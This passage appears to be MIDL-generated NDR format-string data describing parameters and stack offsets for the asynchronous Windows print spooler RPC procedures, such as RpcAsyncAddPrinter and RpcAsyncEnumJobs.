Type Offset=40 */\n\n\t/* Parameter AccessRequired */\n\n/* 54 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 56 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 58 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pClientInfo */\n\n/* 60 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 62 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 64 */\tNdrFcShort( 0xb6 ),\t/* Type Offset=182 */\n\n\t/* Return value */\n\n/* 66 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 68 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 70 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrinter */\n\n/* 72 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 80 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 82 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 86 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 88 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 90 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 92 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 94 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 96 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 98 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 102 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 104 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 108 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 110 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 112 */\tNdrFcShort( 0x2f6 ),\t/* Type Offset=758 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 114 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 116 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 118 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 120 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 122 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 124 */\tNdrFcShort( 0x30a ),\t/* Type Offset=778 */\n\n\t/* Parameter pClientInfo */\n\n/* 126 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 128 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 130 */\tNdrFcShort( 0xb6 ),\t/* Type Offset=182 */\n\n\t/* Parameter pHandle */\n\n/* 132 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 134 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 136 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Return value */\n\n/* 138 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 140 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetJob */\n\n/* 144 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 146 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 150 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 152 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 154 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 158 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 160 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 162 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 164 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 166 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 170 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 176 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 180 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 182 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 184 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJobContainer */\n\n/* 188 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 190 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 192 */\tNdrFcShort( 0x31e ),\t/* Type Offset=798 */\n\n\t/* Parameter Command */\n\n/* 194 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 196 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 200 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 202 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 204 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetJob */\n\n/* 206 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 208 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 212 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 214 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 216 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 218 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 220 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 222 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 224 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 226 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 228 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 230 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 232 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 234 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 236 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 238 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 240 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 242 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 244 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 246 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 250 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 252 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 256 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 258 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 260 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 262 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 264 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 268 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 270 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 272 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 274 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 276 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumJobs */\n\n/* 280 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 282 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 286 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 288 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 290 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 292 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 294 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 296 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 298 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 300 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 302 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 304 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 306 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 312 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 316 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter FirstJob */\n\n/* 318 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 320 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NoJobs */\n\n/* 324 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 326 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 330 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 332 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 336 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 338 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 340 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 342 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 344 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 348 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 350 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 352 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 354 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 356 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 358 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 360 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 362 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 364 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddJob */\n\n/* 366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 372 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 374 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 376 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 380 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 382 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 384 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 386 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 388 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 390 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 392 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 398 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 402 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 404 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 406 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pAddJob */\n\n/* 410 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 412 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 414 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 416 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 418 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 420 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 422 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 424 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 428 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 430 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncScheduleJob */\n\n/* 434 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 440 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 442 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 444 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 446 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 448 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 450 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 452 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 454 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 456 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 466 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 470 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 472 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 474 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 478 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 480 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinter */\n\n/* 484 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 486 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 490 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 492 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 494 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 496 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 498 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 500 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 502 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 504 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 506 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 516 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 518 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 520 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 522 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 524 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinter */\n\n/* 528 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 530 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 534 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 536 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 538 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 542 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 544 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 546 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 548 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 550 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 554 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 560 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 564 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 566 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 570 */\tNdrFcShort( 0x2f6 ),\t/* Type Offset=758 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 572 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 574 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 576 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 578 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 580 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 582 */\tNdrFcShort( 0x30a ),\t/* Type Offset=778 */\n\n\t/* Parameter Command */\n\n/* 584 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 586 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 590 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 592 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinter */\n\n/* 596 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 602 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 604 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 606 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 608 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 610 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 612 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 614 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 616 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 618 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 620 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 622 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 628 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 632 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 634 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinter */\n\n/* 640 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 642 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 644 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 648 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 652 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 654 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 658 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 660 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncStartDocPrinter */\n\n/* 664 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 666 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 670 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 672 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 674 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 678 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 680 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 682 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 684 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 686 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 690 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 694 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 696 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 700 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pDocInfoContainer */\n\n/* 